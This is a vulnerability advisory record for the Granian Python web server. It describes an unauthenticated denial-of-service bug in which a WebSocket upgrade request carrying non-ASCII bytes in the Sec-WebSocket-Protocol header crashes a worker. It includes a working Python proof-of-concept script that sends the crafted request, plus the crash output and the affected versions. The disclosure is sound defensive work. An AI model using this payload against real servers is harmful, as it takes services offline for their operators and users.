id: PYSEC-2026-2503
published: "2026-07-13T15:15:39.488346Z"
modified: "2026-07-13T16:04:12.900151Z"
aliases:
- CVE-2026-42544
- GHSA-vrg7-482j-p6f6
summary: Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic
details: "### Summary\n\nGranian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.\n\nThe crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.\n\nThis is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125\n\n`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.\n\nIn release builds Granian sets `panic = \"abort\"`, so this panic terminates the worker instead of being handled as a normal request error.\n\n\n### PoC\n\n#### Step 1.\nstarts a Granian ASGI server\n\n```python\n# app.py\nasync def app(scope, receive, send):\n    if scope[\"type\"] == \"websocket\":\n        await receive()\n        await send({\"type\": \"websocket.accept\"})\n        return\n\n    await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": []})\n    await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n```\n\n```bash\ngranian --interface asgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2.\nsending a raw upgrade request with `Sec-WebSocket-Protocol: \\x80\\xff` reached this code path and caused the worker to abort.\n\n```python\n# ws-subproto-crash.py\nimport base64, os, socket, sys\n\nhost, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]\nkey = base64.b64encode(os.urandom(16)).decode()\n\nreq = (\n    f\"GET {path} HTTP/1.1\\r\\nHost: {host}:{port}\\r\\n\"\n    \"Upgrade: websocket\\r\\nConnection: Upgrade\\r\\n\"\n    f\"Sec-WebSocket-Key: {key}\\r\\nSec-WebSocket-Version: 13\\r\\n\"\n).encode() + b\"Sec-WebSocket-Protocol: \\x80\\xff\\r\\n\\r\\n\"\n\nwith socket.create_connection((host, port), timeout=5) as s:\n    s.sendall(req)\n    print(s.recv(4096))\n```\n```bash\npython ws-subproto-crash.py 127.0.0.1 8000 /\n```\n\n\nObserved server output:\n\n```\nthread '<unnamed>' panicked at src/asgi/utils.rs:125:44:\ncalled `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }\n[ERROR] Unexpected exit from worker-1\n[INFO] Shutting down granian\n```\n\n\n### Impact\n\n- Unauthenticated remote denial of service\n- One crafted request kills one worker\n- The application is never reached, so application-level authentication or routing does not mitigate the issue"
affected:
- package:
    name: granian
    ecosystem: PyPI
    purl: pkg:pypi/granian
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: 1.2.0
    - fixed: 2.7.4
  versions:
  - 1.2.3
  - 1.3.0
  - 1.3.1
  - 1.3.2
  - 1.4.0
  - 1.4.1
  - 1.4.2
  - 1.4.3
  - 1.4.4
  - 1.5.0
  - 1.5.1
  - 1.5.2
  - 1.6.0
  - 1.6.1
  - 1.6.2
  - 1.6.3
  - 1.6.4
  - 1.7.0
  - 1.7.1
  - 1.7.2
  - 1.7.3
  - 1.7.4
  - 1.7.5
  - 1.7.6
  - 2.0.0
  - 2.0.1
  - 2.1.0
  - 2.1.1
  - 2.1.2
  - 2.2.0
  - 2.2.1
  - 2.2.2
  - 2.2.3
  - 2.2.4
  - 2.2.5
  - 2.2.6
  - 2.3.0
  - 2.3.1
  - 2.3.2
  - 2.3.3
  - 2.3.4
  - 2.4.0
  - 2.4.1
  - 2.4.2
  - 2.5.0
  - 2.5.1
  - 2.5.2
  - 2.5.3
  - 2.5.4
  - 2.5.5
  - 2.5.6
  - 2.5.7
  - 2.6.0
  - 2.6.1
  - 2.7.0
  - 2.7.1
  - 2.7.2
  - 2.7.3
references:
- type: WEB
  url: https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-42544
- type: PACKAGE
  url: https://github.com/emmett-framework/granian
- type: PACKAGE
  url: https://pypi.org/project/granian
- type: ADVISORY
  url: https://github.com/advisories/GHSA-vrg7-482j-p6f6
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H